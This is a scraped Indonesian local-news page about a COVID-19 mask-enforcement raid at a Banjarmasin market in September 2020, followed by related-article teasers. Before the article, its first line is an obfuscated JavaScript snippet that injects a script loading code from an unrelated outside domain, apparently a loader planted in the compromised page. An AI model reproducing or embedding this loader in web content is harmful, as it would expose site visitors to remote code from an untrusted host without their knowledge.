(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Memasuki hari kedua razia penegakan disiplin protokol kesehatan sesuai Perwali Banjarmasin Nomor 68 Tahun 2020, didapati warga yang tidak menggunakan masker.
Ini terlihat saat aparat gabungan dari unsur TNI, Polri, Satpol PP, BPBD dan Dishub Kota Banjarmasin melakukan razia di Pasar Sentra Antasari, Jalan Pangeran Antasari Banjarmasin, Rabu (2/9/2020) pagi.
Pantauan di lokasi, beberapa warga yang berada di dalam lingkungan pasar maupun yang melintas di jalan Pangeran Antasari, masih ada yang tidak menggunakan masker. Bahkan, salah seorang pengendara roda dua yang tak menggunakan masker, nekad menembus penjagaan aparat dan berhasil lolos masuk ke lingkungan Pasar Sentra Antasari.
“Ada beberapa masyarakat juga yang mungkin takut, sehingga berusaha untuk kabur dan menghindari kita (aparat),” aku Kapolsek Banjarmasin Tengah Kompol Irwan Kurnadi yang memimpin penertiban.
Namun begitu, Irwan memastikan bahwa upaya penegakan disiplin protokol kesehatan ini bersifat humanis. Artinya, tidak ada paksaan untuk masyarakat, sehingga cukup untuk ditegur saja. “Karena mereka hanyalah pelanggar, bukan pelaku tindak pidana,” imbuh Irwan.
Disamping itu, Irwan mengatakan, mayoritas masyarakat yang terjaring tak menggunakan masker beralasan sama dengan hari sebelumnya. Yaitu masih ada yang mengaku lupa menggunakan masker.
“Ada juga yang mengaku malas menggunakan masker, dan juga ada yang terbiasa tidak memakai. Tetapi rata-rata mereka sudah mengetahui semua penerapan Perwali ini,” terang Irwan. Berdasarkan catatan, Irwan menyebut ada 16 orang yang terjaring razia masker. Seluruhnya didapati tidak menggunakan masker.
Sanksi yang diberikan pun seluruhnya dikenakan sanksi sosial, yaitu menyapu lingkungan pasar. “Kedepan, kita masih akan melakukan penindakan,” tandas Irwan. Sementara itu, seorang warga bernama Erna kedapatan petugas tak menggunakan masker. Ia pun mengaku tak memiliki satu pun masker.
“Saya tak punya masker selama beberapa bulan ini,” kata wanita berperawakan kecil ini. Kendati mendapatkan sanksi sosial, Erna pun diberikan masker oleh aparat. “Iya, saya baru kali ini,” pungkasnya. (kanalkalimantan.com/fikri)
Reporter: Fikri
Editor : Bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.